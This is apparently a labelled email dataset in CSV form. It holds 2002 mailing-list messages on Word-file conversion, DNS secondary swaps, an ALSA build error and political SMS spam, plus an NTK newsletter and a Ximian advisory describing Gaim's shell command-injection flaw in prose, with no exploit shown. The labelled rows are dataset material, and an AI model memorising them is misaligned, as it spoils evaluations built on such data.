,iiu@taint.org,"Thu, 29 Aug 2002 18:04:41 +0100",[IIU] Viruses and Bounced Mail,"All, Is it just me or has there been a massive increase in the amount of email being falsely bounced around the place? I've already received email from a number of people I don't know, asking why I am sending them email. These can be explained by servers from Russia and elsewhere. Coupled with the false emails I received myself, it's really starting to annoy me. Am I the only one seeing an increase in recent weeks? Martin ======================================================================== Martin Whelan | Dise Design | www.deisedesign.com | Tel : 086-8888975 "" Our core product Diseditor allows organisations to publish information to their web site in a fast and cost effective manner. There is no need for a full time web developer, as the site can be easily updated by the organisations own staff. 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I don't have a Windows machine, so it becomes problematic to convert them; I know that if this were not the case, in Word I could save them as some other more friendly format. -- Tcl'2002 Sept 16, 2002, Vancouver, BC http://www.tcl.tk/community/tcl2002/ Larry W. Virden Even if explicitly stated to the contrary, nothing in this posting should be construed as representing my employer's opinions. -><- ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Sitescooper-talk mailing list Sitescooper-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/sitescooper-talk",0,1 """Barry Dexter A. Gonzaga"" ",sitescooper-talk@example.sourceforge.net,"Fri, 30 Aug 2002 08:27:09 +0800",Re: [scoop] Scoop MS Word .doc file into something that plucker or other Palm app can display?,"Good Day! On Thu, Aug 29, 2002 at 05:10:47PM -0400, Larry W. Virden wrote: > I am wondering whether there's a way that I can use sitescooper and/or plucker > or some other free utility to convert word documents into something a bit > more palmos friendly? You could try antiword (http://www.winfield.demon.nl/linux/). It's consoled based and converts word 6+ docs to text and some images to postscript and png. You could also try openoffice and/or abiword if you have x installed. > I don't have a Windows machine, so it becomes problematic to convert them; > I know that if this were not the case, in Word I could save them as some > other more friendly format. Great! ;) Mabuhay! barryg -- Barry Dexter A. Gonzaga, bofh barryg@kssp.upd.edu.ph ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Sitescooper-talk mailing list Sitescooper-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/sitescooper-talk",0,1 pudge@perl.org,zzzz-use-perl@spamassassin.taint.org,"Fri, 30 Aug 2002 02:00:24 +0000",[use Perl] Headlines for 2002-08-30,"use Perl Daily Headline Mailer Installing Perl 5.8.0 on Mac OS X 10.2 posted by pudge on Thursday August 29, @15:03 (releases) http://use.perl.org/article.pl?sid=02/08/29/193225 Copyright 1997-2002 pudge. All rights reserved. ====================================================================== You have received this message because you subscribed to it on use Perl. To stop receiving this and other messages from use Perl, or to add more messages or change your preferences, please go to your user page. http://use.perl.org/my/messages/ You can log in and change your preferences from there.",0,1 unlisted ,"""Larry W. Virden"" ",30 Aug 2002 08:50:38 -0500,Re: [scoop] Scoop MS Word .doc file into something that plucker or other Palm app can display?,"On Thu, 2002-08-29 at 19:27, Barry Dexter A. Gonzaga wrote: > On Thu, Aug 29, 2002 at 05:10:47PM -0400, Larry W. Virden wrote: > > I am wondering whether there's a way that I can use sitescooper and/or plucker > > or some other free utility to convert word documents into something a bit > > more palmos friendly? > > You could try antiword (http://www.winfield.demon.nl/linux/). > It's consoled based and converts word 6+ docs to text and some images to > postscript and png. also there's catdoc and wv for Word --> text conversions. actually, wv consists of wvWare, which as the manpage says ""converts word documents into other formats such as PS, PDF, HTML, LaTeX, DVI, ABW"". HTML would probably be the best format for use with Plucker/SiteScooper, depending on how good the DOC --> HTML conversion is. i haven't used either in over a year as AbiWord or OpenOffice work well enough. (prefer AbiWord for it's light-weight size, but OpenOffice has the better DOC importer.) don't know which of these are better or worse than the other, but i figure, ""the more the merrier"". ;-) > You could also try openoffice and/or abiword if you > have x installed. AbiWord supports exporting to PalmDoc (.pdb) which is about as PalmOS-friendly as you can get. never tried/needed it, but it's listed there in the ""Save As"" dialog box. Wine (or CrossOver Office, if you already have it) may support Word Viewer (free download from Microsoft), but didn't a year or so ago when i last tried. Word Viewer is what i used back in the day to convert Word 97 docs to Word 95, as you could display the Word 97 doc and copy & paste the text (with formatting) into Word 95, which was the only version of Word that i had. anyways, a little nostalgia. > > I don't have a Windows machine, so it becomes problematic to convert them; > > I know that if this were not the case, in Word I could save them as some > > other more friendly format. i have a windows (dual-boot) machine, but it only get used by my significant other and for burning multi-session cd-r/rw. (is there any linux gui app that supports cdrecord's multi-session feature?) since OpenOffice, i've been able to edit Word docs flawlessly (or at least the simple Word documents i receive from others). anyways... -- PLEASE REQUEST PERMISSION TO REDISTRIBUTE AUTHOR'S COMMENTS OR EMAIL ADDRESS. ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Sitescooper-talk mailing list Sitescooper-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/sitescooper-talk",0,1 """Bob Musser"" ",,"Fri, 30 Aug 2002 11:25:31 -0400",Tiny DNS Swap,"(This list is sponsored by Ironclad Networks http://www.ironclad.net.au/) This is a multi-part message in MIME format. ------=_NextPart_000_00C1_01C25017.F2F04E20 Content-Type: text/plain; charset=""Windows-1252"" Content-Transfer-Encoding: quoted-printable I'm using Simple DNS from JHSoft. We support only a few web sites and = I'd like to swap secondary services with someone in a similar position. We have a static IP, DSL line and a 24/7 set of web, SQL, mail and now a = DNS server. As I said, we are hosting about 10 web sites, web and DNS = traffic is almost nothing. Everything is on lightly loaded APC battery = backups so we are very seldom down. I'd like to swap with someone also using Simple DNS to take advantage of = the trusted zone file transfer option. Bob Musser Database Services, Inc. Makers of: Process Server's Toolbox Courier Service Toolbox BobM@dbsinfo.com www.dbsinfo.com 106 Longhorn Road Winter Park FL 32792 (407) 679-1539 ------=_NextPart_000_00C1_01C25017.F2F04E20 Content-Type: text/html; charset=""Windows-1252"" Content-Transfer-Encoding: quoted-printable I'm using Simple DNS from JHSoft.  We support = only a few=20 web sites and I'd like to swap secondary services with someone in a = similar=20 position.   We have a static IP, DSL line and a 24/7 set of web, = SQL, mail=20 and now a DNS server.  As I said, we are hosting about 10 web = sites, web=20 and DNS traffic is almost nothing.  Everything is on lightly loaded = APC=20 battery backups so we are very seldom down.   I'd like to swap with someone also using Simple DNS = to take=20 advantage of the trusted zone file transfer option.       Bob MusserDatabase Services, Inc.Makers=20 of:   Process Server's Toolbox   Courier = Service=20 ToolboxBobM@dbsinfo.comwww.dbsinfo.com106 Longhorn = RoadWinter=20 Park FL 32792(407) 679-1539     ------=_NextPart_000_00C1_01C25017.F2F04E20-- -- To Unsubscribe: Sponsor & Host: Ironclad Networks",0,1 Javier Cota ,"""DNS-swap"" ","Fri, 30 Aug 2002 10:30:36 -0500",Re: Tiny DNS Swap,"(This list is sponsored by Ironclad Networks http://www.ironclad.net.au/) --Apple-Mail-2-874629474 Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=ISO-8859-1; format=flowed Bob We are a commercial company who host around 150 web sites on each of it=20= servers, we can=B4t swap with you because we need someone in a similar=20= position. Thank you Javier El Viernes, 30 agosto, 2002, a las 10:25 AM, Bob Musser escribi=F3: > I'm using Simple DNS from JHSoft.=A0 We support only a few web sites = and=20 > I'd like to swap secondary services with someone in a similar > = position. > =A0 > We have a static IP, DSL line and a 24/7 set of web, SQL, mail and now=20= > a DNS server.=A0 As I said, we are hosting about 10 web sites, web and=20= > DNS traffic is almost nothing.=A0 Everything is on lightly loaded APC=20= > battery backups so we are very seldom down. > =A0 > I'd like to swap with someone also using Simple DNS to take advantage=20= > of the trusted zone file transfer option. > =A0 > =A0 > =A0 > Bob Musser > Database Services, Inc. > Makers of: > =A0=A0 Process Server's Toolbox > =A0=A0 Courier Service Toolbox > BobM@dbsinfo.com > www.dbsinfo.com > 106 Longhorn Road > Winter Park FL 32792 > (407) 679-1539 > =A0 > =A0 > --- Atentamente Javier Cota Integraci=F3n tecnol=F3gica 52723341 javier@linkcreations.com.mx --Apple-Mail-2-874629474 Content-Transfer-Encoding: quoted-printable Content-Type: text/enriched; charset=ISO-8859-1 Bob We are a commercial company who host around 150 web sites on each of it servers, we can=B4t swap with you because we need someone in a similar position. Thank you Javier=20 El Viernes, 30 agosto, 2002, a las 10:25 AM, Bob Musser escribi=F3: I'm using Simple DNS from JHSoft.=A0 We support only a few web sites and I'd like to swap secondary services with someone in a similar position. =A0 We have a static IP, DSL line and a 24/7 set of web, SQL, mail and now a DNS server.=A0 As I said, we are hosting about 10 web sites, web and DNS traffic is almost nothing.=A0 Everything is on lightly loaded APC battery backups so we are very seldom down. =A0 I'd like to swap with someone also using Simple DNS to take advantage of the trusted zone file transfer option. =A0 =A0 =A0 Bob Musser Database Services, Inc. Makers of: =A0=A0 Process Server's Toolbox =A0=A0 Courier Service Toolbox 1999,1999,FFFFBobM@dbsinfo.com www.dbsinfo.com 106 Longhorn Road Winter Park FL 32792 (407) 679-1539 =A0 =A0 --- Atentamente Javier Cota Integraci=F3n tecnol=F3gica 52723341 javier@linkcreations.com.mx --Apple-Mail-2-874629474-- -- To Unsubscribe: Sponsor & Host: Ironclad Networks",0,1 Dave Green ,NTK recipient list ,"Fri, 30 Aug 2002 16:33:18 +0100","NTK Now, 2002-08-30","_ _ _____ _ __ <*the* weekly high-tech sarcastic update for the uk> | \ | |_ _| |/ / _ __ __2002-08-30_ o join! mail an empty message to | \| | | | | ' / | '_ \ / _ \ \ /\ / / o ntknow-subscribe@lists.ntk.net | |\ | | | | . \ | | | | (_) \ v v / o website (+ archive) lives at: |_| \_| |_| |_|\_\|_| |_|\___/ \_/\_/ o http://www.ntk.net/ ""A case in point is web designer Matt Jones, the man responsible for how BBC News Online looked when it launched. Since then, he has invented 'warchalking', which he recently described as a 'curse'..."" http://news.bbc.co.uk/1/hi/2210091.stm - but you cannot turn against me! I... created you! >> HARD NEWS << stiffening sinews More hot summer days in the mailinglist alleyways, dangerously empty of sane postings, strewn with the rotting carcasses of broiling vacation messages. Hacktress and Silicon Valley's chief rat-keeper LILE ELAM, excitedly posts about a new open 802.11 network she's found. ""I am here at the police station waiting to see a judge and I thought I would check to see if there is connectivity"", she writes, somewhat recklessly, to the Bay Area Wireless list. Exit the rest of the Wifi community through the nearest window and out into the streets... where, cooling tempers, the Microsoft Palladium boys are on an endless summer tour, reassuring the experts that while, hmm, they *suppose* Pd could *theoretically* be used as a Hollywood DRM system, they truly have no plans to do any such thing. Cypherpunk and friend of freedom Lucky Green hears this; thinks up four or five of the obvious Palladium DRM implementations; sends them off to be patented in his name. Licensing funds, we imagine, will go on cracking his own DRMs. And so the mail loops on. http://lists.bawug.org/pipermail/wireless/2002-August/008507.html - administrivia: HI MOM, I'M IN JAIL http://www.mail-archive.com/cryptography@wasabisystems.com/msg02554.html - Green/Palladium, like Green Kryptonite Could Lucky get himself arrested under the DMCA for distributing a circumvention device? Worse: now we have the EUCD incoming, could he here in the UK? Will Alan Cox go to jail for posting detailed Changelogs? Will even the nicest UK cryptographer (or curious garage tinkerer) find themselves hauled up under our new and scarily DMCAish copyright regime? Find out the facts at the free FAIR DEAL FOR COPYRIGHT conference, organised by the irrepressible FOUNDATION FOR INFORMATION POLICY RESEARCH for Wednesday 2002-09-18 at the London School of Economics. All the usual fun from the creators of the Scrambling for Safety crypto cons: we confidently predict government spokesmen caught in headlights, wanton Dave Bird heckling, some industry bigwig fighting off the audience with a broken chairleg, and other epiphenomena of the interzone between legal minds and hacker ethics. Oh, and FIPR are still looking for a Programme Director, so if you're interested, let them know. We suggested a convention raffle (first prize: the director's job, second prize: Ross Anderson as your personal slave for a day). They say there's some rule that would break, though. http://www.fipr.org/vacancy.html - doesn't the Foundation use psychohistory for filling these positions? For those of us who can't read the abbreviation EULA without thinking of Martian fighting machines and their ""deafening howls... which roared like thunder"", we're sorry to report that this weekend's multimedia performance of Jeff Wayne's WAR OF THE WORLDS has been postponed due to ""health and safety issues"". The event was to feature computer graphics, fireworks, ""60ft-tall Martian fighting machines"" wreaking ""havoc and destruction"", and - most terrifyingly of all - the possibility of a David Essex tribute singer performing with Hawkwind, but UKP18 tickets for the Sat 2002-08-31 show at Manchester's Heaton Park will still be valid at a range of new venues next summer. Ironically, the Martians' original invasion plans were similarly thwarted by health and safety issues, ""slain after all man's devices had failed by the humblest creatures that God, in his wisdom, has put upon this earth: bacteria. Minute, invisible, bacteria. For, directly the invaders arrived and drank and fed, our microscopic allies attacked them..."" http://www.waroftheworlds.info/postpone.htm - ""...From that moment, they were doomed."" >> ANTI-NEWS << berating the obvious moving on from PUERILE GOOGLE MISSPELLINGS, weird search-and- replace artefact: http://www.google.com/search?q=consideyellow , Japanese fan sites for ""plince"", ""steery dan"", ""def reppard"" et al, plus the 18,000 or more self-referential Usenet .sigs: http://groups.google.com/groups?q=%22get+random+signatures%22 ...http://www.colocation-network.com/ ""Zerodowntime"" ad leads to: http://www.ntk.net/2002/08/30/dohzero.gif ... slightly harsh alt text: http://www.ntk.net/2002/08/30/dohover.gif ... US military discovers the only ""translator"" those bastards seem to understand: http://www.ntk.net/2002/08/30/dohgun.gif ... scary blue men herald return of the bizarre BBC hacking pics: http://news.bbc.co.uk/1/hi/1494091.stm ... reporter RYAN DILLEY http://news.bbc.co.uk/1/hi/uk/2202552.stm pulls his http://starwars.org.pl/galeria/e2/char/anakin/t001.jpg face ... banjo maestro GEORGE FORMBY still alive, cooking, black: http://www.readersheds.co.uk/readersheds/shop.cfm?WOSNAMES=Wosnames ... thanks guys, that ought to do it: http://www.eap.ca/ ... >> EVENT QUEUE << goto's considered non-harmful Controversially, we're all in favour of THE GUARDIAN GREAT BRITISH BLOG COMPETITION (closing date next Fri 2002-09-06, first prize UKP1000, entry free), in that any initiative that encourages this notoriously primadonna-ish ""community"" to try and engage with real-world notions of editorial quality surely has to be a good thing. Our only disappointment is that The Guardian appears to be focussing on the ""best"" of the entries, when everyone knows the real fun is to be had cruising the truly terrible examples that the genre has to offer, mentally allocating points for ""Most Depressing Recycling Of Daypop Top 40 URLs"", ""Most Unsettling Revelations About Personal Life"", plus of course ""Most Tedious Linking/Reciprocal Linking To Other Bloggers In Absence Of Having Anything Interesting To Say"". http://www.guardian.co.uk/weblog/bestbritishblog/ - ""A strange game, Professor Falken..."" http://media.guardian.co.uk/newmedia/comment/0,7496,765161,00.html - ""...the only winning move is not to play."" >> TRACKING << sufficiently advanced technology : the gathering The respective trademark holders will hate this, but Windows really *is* like the Sun. You have this big hulking mass of concentrated power in the middle, with a few small orbiting utilities - like WinZip, and PuTTY, and VNC. Occasionally one will get a bit too close to the OS, and Microsoft will suck it down and turn it into fuel for the System. One such discrete satellite remains FILEZILLA, the still-necessary ftp gui client for Windows. Those who know it won't need the introduction, although they might appreciate the note that it's getting close to v2.0 time. For dogged WS_FTP users, though, it's got multiple downloads, auto-restart of interrupted 'loads, queuing, and sftp and Kerberos support. It's also GPL'd which makes it a nice bit of source for anyone wanting to grok Win32 networking from something that works. http://filezilla.sf.net/ - talking of trademarks, will the Godzilla people strike before MS? >> MEMEPOOL << ceci n'est pas une http://www.gagpipe.com/ (Not safe for work) next year's RED NOSE DAY looks more fun than usual: http://www.threepillows.com/tour2.htm ... Mirrored Disaster Recovery Suite - to go with mirrored bathroom etc?: http://www.dovebid.com/Auctions/AuctionDetail.asp?AuctionID=1450 ... and then the kid can take you to court for mental cruelty: http://www.cnn.com/2002/TECH/ptech/08/27/turok.baby.reut/ ... ""funny"" prefixes in front of ""chalking"" #n+1 - the actually quite pragmatic: http://www.pinkbunny.co.uk/poochalking/ ... no longer knowing - or caring - if these are prank AMAZON reviews or not, for Potter's ever-popular ""vibrating"" broom: http://www.amazon.com/exec/obidos/tg/stores/detail/-/toys/B00005NEBW/ ... ditto ""Use This Software At Your Own Risk"" disclaimer for: http://www.palmgear.com/software/showsoftware.cfm?prodID=41030 ... DAFFY DUCK appears in dock - accused of ""dethpicable"" behaviour?: http://news.bbc.co.uk/1/hi/england/2223065.stm , http://www.ananova.com/news/story/sm_659889.html ... >> GEEK MEDIA << get out less TV>> celebrity cameo night tonight, with Brad Pitt in FRIENDS (9pm, Fri, C4), Sydney Pollack in WILL AND GRACE (9.30pm, Fri, C4), Dustin Hoffman in V GRAHAM NORTON (10.30pm, Fri, C4), and a singing, dancing peanut in globalised trade documentary ALT- TV (7.30pm, Fri, C4)... the BBC have kept McEnroe and the heart monitor, got rid of the live crocodiles in gimmicky quizshow THE CHAIR (6.40pm, Sat, BBC1)... and a month of ""September 11th"" specials kicks off with AVENGING TERROR (8pm, Sat & Sun, C4) - yet those responsible for BOWFINGER (9pm, Sat, C4) and NOTTING HILL (9pm, Sun, C4) still remain unpunished... John ""The Last Seduction"" Dahl's ROUNDERS (11pm, Sat, BBC2) turns out to be about high-stakes poker, rather than the girls' version of baseball... in the wake of DAVE GORMAN'S IMPORTANT ASTROLOGY EXPERIMENT (10.40pm, Sun, BBC2), how about a three-way challenge where he, Tony Hawks and Pete McCarthy battle to come up with the most lucrative pointless pretext for a book and TV show?... but we still have a soft spot for Ron ""Alien: Resurrection"" Perlman liberal self- flagellation THE LAST SUPPER (11.20pm, Sun, C4)... 9/11 CLEAR THE SKIES (9pm, Sun, BBC2) is a presumably uneventful account of ""how US air defence systems responded to the events of September 11th""... inexplicably, the three finalists in THE TARTIEST MEN IN BRITAIN (10.30pm, Mon, ITV) all come from Leeds... Larry Clark takes a somewhat indirect approach to conveying his safe-sex message in New York filth-fest KIDS (1.15am, Tue, C4)... and the September 11th build-up continues with HOW THE TWIN TOWERS COLLAPSED (8pm, Mon, C4), LET'S ROLL: THE STORY OF FLIGHT 93 (10.30pm, Wed, ITV), plus THE MEYSSAN CONSPIRACY (11.05pm, Tue, C4) - ie the French guy behind: http://www.asile.org/citoyens/numero13/pentagone/erreurs_en.htm ... away from the polluted nightmare of modern living, a family seek out a new way of life in Earth Summit tie-in A LAND WORTH LOVING (7pm, Wed, BBC1)... which coincidentally also forms the plot of this week's second Heather ""Bowfinger"" Graham turkey, LOST IN SPACE (7.55pm, Wed, BBC1) - not to be confused with the return of those annoying posh women in WORLD'S WORST DRESSED (8pm, Wed, BBC2), who have at least shut up about their always-doomed hideously purple e-commerce site: http://news.bbc.co.uk/1/hi/business/712188.stm ... FILM>> the comic skills of Cameron Diaz, Christina Applegate and Parker Posey combine in a cross between a teen smut comedy and an episode of ""Sex And The City"", THE SWEETEST THING ( http://www.screenit.com/movies/2002/the_sweetest_thing.html : As [Diaz] and [Applegate] drive down the road still dressed in just their bras and underwear, [Applegate] drops her bottle of fingernail polish. [Diaz] then goes over to get it, with her panty-covered butt in the air and her head down toward [Applegate]'s legs and crotch; [Selma Blair] [has] her mouth stuck around a man's privates after apparently performing oral sex on him)... Robin Williams plays a surprisingly convincing Hannibal Lecter in morally complicated Alaskan Al Pacino murder madness INSOMNIA ( http://www.cndb.com/ : You can see [Crystal Lowe's] tits in autopsy photos and again - along with bush - when she's seen on a autopsy table. Nice boobs but she's dead)... it's Eddie Murphy, Randy Quaid, Jay ""Jerry Maguire"" Mohr, John Cleese and Pam Grier - together at last! - in blaxploitation sci-fi spoof THE ADVENTURES OF PLUTO NASH ( http://www.screenit.com/movies/2002/the_adventures_of_pluto_nash.html : the woman then causes the image of [Rosario ""Kids"" Dawson] to suddenly have much larger breasts and an exaggeratedly large rear end)... all of which, shockingly, are an improvement on John Woo interspersing lame battle scenes with agonising anti- racist philosophising in WW2 Navajo crypto clunker WINDTALKERS ( http://www.capalert.com/capreports/windtalkers.htm : gambling; beheading; brief partial nudity of a Japanese soldier; I have no doubt that such gore is present in war but must it be regurgitated in and as entertainment?)... >> SMALL PRINT << Need to Know is a useful and interesting UK digest of things that happened last week or might happen next week. You can read it on Friday afternoon or print it out then take it home if you have nothing better to do. It is compiled by NTK from stuff they get sent. Registered at the Post Office as ""yeah, but bet we were banned first"" http://www.b3ta.com/newsletter/issue54/ NEED TO KNOW THEY STOLE OUR REVOLUTION. NOW WE'RE STEALING IT BACK. Archive - http://www.ntk.net/ Unsubscribe? Mail ntknow-unsubscribe@lists.ntk.net Subscribe? Mail ntknow-subscribe@lists.ntk.net NTK now is supported by UNFORTU.NET, and by you: http://www.geekstyle.co.uk/ (K) 2002 Special Projects. Copying is fine, but include URL: http://www.ntk.net/ Tips, news and gossip to tips@spesh.com All communication is for publication, unless you beg. Press releases from naive PR people to pr@spesh.com Remember: Your work email may be monitored if sending sensitive material. Sending >500KB attachments is forbidden by the Geneva Convention. Your country may be at risk if you fail to comply.",0,1 Justin Armstrong ,zzzz@spamassassin.taint.org (Justin Mason),"Fri, 30 Aug 2002 16:36:46 +0100",find the bug,"//this function should print all numbers up to 100... void print_nums() { int i; for(i = 0; i < 10l; i++) { printf(""%d\n"",i); } }",0,0 """Andrey G. Sergeev (AKA Andris)"" ","""Bob Musser"" ","Fri, 30 Aug 2002 19:39:57 +0400",Re: Tiny DNS Swap,"(This list is sponsored by Ironclad Networks http://www.ironclad.net.au/) Hello! Friday, August 30, 2002, 7:25:31 PM Bob Musser wrote: [lost] BM> I'd like to swap with someone also using Simple DNS to take BM> advantage of the trusted zone file transfer option. ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Are you speaking about limiting AXFR requests on IP address basis? If yes, then virtually every BIND-equipped DNS server in the world will be suitable for your needs. -- Yours sincerely, Andrey G. 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The developers of Gaim, an instant messenger client that combines several different networks, found a vulnerability in the hyperlink handling code. The 'Manual' browser command passes an untrusted string to the shell without escaping or reliable quoting, permitting an attacker to execute arbitrary commands on the users machine. Unfortunately, Gaim doesn't display the hyperlink before the user clicks on it. Users who use other inbuilt browser commands aren't vulnerable. The fixed version of Gaim no longer passes the user's manual browser command to the shell. Commands which contain the %s in quotes will need to be amended, so they don't contain any quotes. The 'Manual' browser command can be edited in the 'General' pane of the 'Preferences' dialog, which can be accessed by clicking 'Options' from the login window, or 'Tools' and then 'Preferences' from the menu bar in the buddy list window. Please download Gaim 0.59.1 or later using Red Carpet. You may also obtain this update from the Ximian FTP site. Debian Potato ftp://ftp.ximian.com/pub/ximian-gnome/debian-potato-i386/gaim_0.59.1-1.ximian.2_i386.deb ftp://ftp.ximian.com/pub/ximian-gnome/debian-potato-i386/gaim-common_0.59.1-1.ximian.2_i386.deb ftp://ftp.ximian.com/pub/ximian-gnome/debian-potato-i386/gaim-gnome_0.59.1-1.ximian.2_i386.deb Mandrake 8.0 ftp://ftp.ximian.com/pub/ximian-gnome/mandrake-80-i586/gaim-0.59.1-1.ximian.2.i586.rpm Mandrake 8.1 ftp://ftp.ximian.com/pub/ximian-gnome/mandrake-81-i586/gaim-0.59.1-1.ximian.2.i586.rpm Mandrake 8.2 ftp://ftp.ximian.com/pub/ximian-gnome/mandrake-82-i586/gaim-0.59.1-1.ximian.2.i586.rpm Redhat 6.2 ftp://ftp.ximian.com/pub/ximian-gnome/redhat-62-i386/gaim-0.59.1-1.ximian.2.i386.rpm ftp://ftp.ximian.com/pub/ximian-gnome/redhat-62-i386/gaim-applet-0.59.1-1.ximian.2.i386.rpm Redhat 7.0 ftp://ftp.ximian.com/pub/ximian-gnome/redhat-70-i386/gaim-0.59.1-1.ximian.2.i386.rpm ftp://ftp.ximian.com/pub/ximian-gnome/redhat-70-i386/gaim-applet-0.59.1-1.ximian.2.i386.rpm Redhat 7.1 ftp://ftp.ximian.com/pub/ximian-gnome/redhat-71-i386/gaim-0.59.1-1.ximian.2.i386.rpm ftp://ftp.ximian.com/pub/ximian-gnome/redhat-71-i386/gaim-applet-0.59.1-1.ximian.2.i386.rpm Redhat 7.2 ftp://ftp.ximian.com/pub/ximian-gnome/redhat-72-i386/gaim-0.59.1-1.ximian.2.i386.rpm ftp://ftp.ximian.com/pub/ximian-gnome/redhat-72-i386/gaim-applet-0.59.1-1.ximian.2.i386.rpm Redhat 7.3 ftp://ftp.ximian.com/pub/ximian-gnome/redhat-73-i386/gaim-0.59.1-1.ximian.2.i386.rpm ftp://ftp.ximian.com/pub/ximian-gnome/redhat-73-i386/gaim-applet-0.59.1-1.ximian.2.i386.rpm Solaris 7/8 ftp://ftp.ximian.com/pub/ximian-gnome/solaris-7-sun4/gaim-0.59.1-2.ximian.1.sparc.rpm SuSE 7.1 ftp://ftp.ximian.com/pub/ximian-gnome/suse-71-i386/gaim-0.59.1-1.ximian.2.i386.rpm ftp://ftp.ximian.com/pub/ximian-gnome/suse-71-i386/gaim-applet-0.59.1-1.ximian.2.i386.rpm SuSE 7.2 ftp://ftp.ximian.com/pub/ximian-gnome/suse-72-i386/gaim-0.59.1-1.ximian.2.i386.rpm ftp://ftp.ximian.com/pub/ximian-gnome/suse-72-i386/gaim-applet-0.59.1-1.ximian.2.i386.rpm SuSE 7.3 ftp://ftp.ximian.com/pub/ximian-gnome/suse-73-i386/gaim-0.59.1-1.ximian.2.i386.rpm ftp://ftp.ximian.com/pub/ximian-gnome/suse-73-i386/gaim-applet-0.59.1-1.ximian.2.i386.rpm SuSE 8.0 ftp://ftp.ximian.com/pub/ximian-gnome/suse-80-i386/gaim-0.59.1-1.ximian.2.i386.rpm ftp://ftp.ximian.com/pub/ximian-gnome/suse-80-i386/gaim-applet-0.59.1-1.ximian.2.i386.rpm Yellowdog 2.0 ftp://ftp.ximian.com/pub/ximian-gnome/yellowdog-20-ppc/gaim-0.59.1-1.ximian.2.ppc.rpm ftp://ftp.ximian.com/pub/ximian-gnome/yellowdog-20-ppc/gaim-applet-0.59.1-1.ximian.2.ppc.rpm Yellowdog 2.1 ftp://ftp.ximian.com/pub/ximian-gnome/yellowdog-21-ppc/gaim-0.59.1-1.ximian.2.ppc.rpm ftp://ftp.ximian.com/pub/ximian-gnome/yellowdog-21-ppc/gaim-applet-0.59.1-1.ximian.2.ppc.rpm Yellowdog 2.2 ftp://ftp.ximian.com/pub/ximian-gnome/yellowdog-22-ppc/gaim-0.59.1-1.ximian.2.ppc.rpm ftp://ftp.ximian.com/pub/ximian-gnome/yellowdog-22-ppc/gaim-applet-0.59.1-1.ximian.2.ppc.rpm _______________________________________________ updates maillist - updates@ximian.com To unsubscribe from this list, or to change your subscription options, follow the link below: http://lists.ximian.com/mailman/listinfo/updates",0,1 Ben Liblit ,rpm-zzzlist@freshrpms.net,"Fri, 30 Aug 2002 19:56:47 -0700",alsa-driver rebuild fails with undeclared USB symbol,"I am trying to rebuild the recently posted ALSA driver package for my kernel. Although I run Red Hat 7.3, I am not using a Red Hat kernel package: my kernel is lovingly downloaded, configured, and built by hand. Call me old fashioned. Sadly, the RPM rebuild fails part way through: % rpm --rebuild alsa-driver-0.9.0rc3-fr6.src.rpm gcc -DALSA_BUILD -D__KERNEL__ -DMODULE=1 \ -I/usr/src/redhat/BUILD/alsa-driver-0.9.0rc3/include \ -I/lib/modules/2.4.18/build/include -O2 \ -mpreferred-stack-boundary=2 -march=i686 -DLINUX -Wall \ -Wstrict-prototypes -fomit-frame-pointer -pipe -DEXPORT_SYMTAB \ -c sound.c sound.c:41: `snd_hack_usb_set_interface' undeclared here (not in a \ function) sound.c:41: initializer element is not constant sound.c:41: (near initialization for \ __ksymtab_snd_hack_usb_set_interface.value') make[1]: *** [sound.o] Error 1 The line in question looks like this: /* USB workaround */ #if LINUX_VERSION_CODE < KERNEL_VERSION(2, 5, 24) #if defined(CONFIG_SND_USB_AUDIO) || \ defined(CONFIG_SND_USB_AUDIO_MODULE) || \ defined(CONFIG_SND_USB_MIDI) || \ defined(CONFIG_SND_USB_MIDI_MODULE) -41-> EXPORT_SYMBOL(snd_hack_usb_set_interface); #endif #endif Any suggestions? _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Owen Byrne ,Bill Stoddard ,"Thu, 22 Aug 2002 18:25:48 -0300",Re: The case for spam,"--------------080808010909060409040405 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Bill Stoddard wrote: >>No one likes commercial spam. >> >> >And no one like unsolicited political spam. End of story. > >Bill >http://xent.com/mailman/listinfo/fork > > Except perhaps for the people in charge. Owen http://zdnet.com.com/2100-1105-954903.html *Political spam on your cell phone?* By Lisa M. Bowman Special to ZDNet News August 22, 2002, 12:05 PM PT URL: http://zdnet.com.com/2100-1105-954909.html <%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20http://zdnet.com.com/2100-1105-954909.html%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20> *In a decision that treats text messaging on mobile phones essentially the same as bumper stickers, the Federal Election Commission has declared that senders of text-based political ads don't have to disclose who funded them.* In an advisory opinion issued Thursday, the FEC also suggested such messages include either a phone number or Web site link, so people could easily learn who paid for the message. However, the additional information won't be required. The opinion could encourage the adoption of text-based political ads, as campaign experts look for new technological ways to sway voters. At the same time, opponents of the plan fear it could lead to anonymous political spam. Target Wireless, a small New Jersey-based wireless media company, had asked the FEC for an opinion on the matter, saying that requiring financial disclosures on short messaging service (SMS) mailings would use up too much of the 160 character-maximum. Political messages on bumper stickers and buttons are also exempt from the financial disclosure requirement. Target Wireless' petition was supported by the National Republican Senatorial Committee, the Cellular Telecommunications and Internet Association, and some advertising trade groups. FEC spokesman Bob Biersack said the opinion was in keeping with the commission's policy not to meddle with new technology that has the potential to reach more voters. ""We have tried very hard not to get in the way--particularly before everyone understands how the technology is going to work,"" he said. Opponents of the plan have worried the exemption might encourage spam or allow senders to blast people with mass amounts of negative political messages while remaining anonymous. Biersack said the FEC can revisit the issue if those problems surface. Target Wireless President Craig Krueger characterized the opinion as ""good for America."" ""It will allow people to receive more communication from those running for office,"" he said. ""We have free speech on our side."" --------------080808010909060409040405-- http://xent.com/mailman/listinfo/fork",0,1 Tom ,Robert Harley ,"Fri, 23 Aug 2002 11:40:46 -0400 (EDT)",Re: 